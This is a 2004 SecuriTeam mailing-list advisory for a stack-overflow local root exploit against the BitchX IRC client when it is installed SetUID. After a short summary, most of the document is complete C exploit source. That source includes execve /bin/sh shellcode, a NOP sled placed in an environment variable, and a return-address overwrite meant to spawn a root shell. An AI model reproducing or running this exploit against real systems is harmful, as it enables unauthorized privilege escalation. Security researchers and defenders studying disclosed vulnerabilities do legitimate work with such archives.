[EXPL] BitchX Local Root Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 10/20/04

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Date: 20 Oct 2004 18:49:39 +0200

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      BitchX Local Root Exploit
    ------------------------------------------------------------------------

    SUMMARY

    Presented below is an exploit for BitchX, a linux IRC client. If the
    BitchX binary is installed SetUID (to allow SSL access for non root users
    for example), an attacker can exploit a stack overflow and gain root
    privileges.

    DETAILS

    // BitchX local-root by Sha0 (version 1.0c19 e inferiores -todas-)
    // este exploit se lo dedico a mi chica.
    // 0xC0000000-4-strlen(argv[1])-1-strlen(buffer)
    // 2052 to the ret

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    #include <unistd.h>

    char payload[69];
    char sha0code[] =
     "\xeb\x16\x5b\x31\xc0"
     "\x50\x53\xb0\x0b\x89"
     "\xdb\x89\xe1\x31\xd2"
     "\xcd\x80\x31\xc0\x40"
     "\x31\xdb\xcd\x80\xe8"
     "\xe5\xff\xff\xff\x2f"
     "\x62\x69\x6e\x2f\x73\x68";

    void nopea (void);

    int main (int argc, char **argv) {
     
     char *buff;
     char *arg1="bash";
     char *arg2="-c";
     char *arg[]={arg1,arg2,buff,NULL};
     char *env[]={"TERM=xterm",payload,NULL};
     char offset[]="";
     char sret[4];
     unsigned long lret;
     int i;

     if (argc != 2) {
      fprintf (stdout,"BitchX exploit Coded By Sha0\n");
      fprintf (stdout,"ej: %s /usr/bin/BitchX\n\n",argv[0]);
      return (1);
     }

     buff = (char *)malloc (2100);
     bzero (buff,sizeof(buff));
     arg[2] = buff;
     
     nopea ();

     lret = 0xbffffffa - strlen(payload) - strlen(argv[1]);
     sret[0] = (0x000000ff & lret);
     sret[1] = (0x0000ff00 & lret) >> 8;
     sret[2] = (0x00ff0000 & lret) >> 16;
     sret[3] = (0xff000000 & lret) >> 24;

     for (i=0;i<2088;i+=4) // 2088 tirando largo.
      memcpy (buff+i,sret,4);

     execve (argv[1],arg,env);
     perror ("execve()");

     free (buff);
     return (0);
    }

    void nopea (void) {
            bzero (payload,sizeof(payload));
            memset (payload,0x90,sizeof(payload)-1);
            memcpy
    (payload+sizeof(payload)-strlen(sha0code)-1,sha0code,strlen(sha0code));
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:arpa@linuxmail.org> Sha0.

    ========================================

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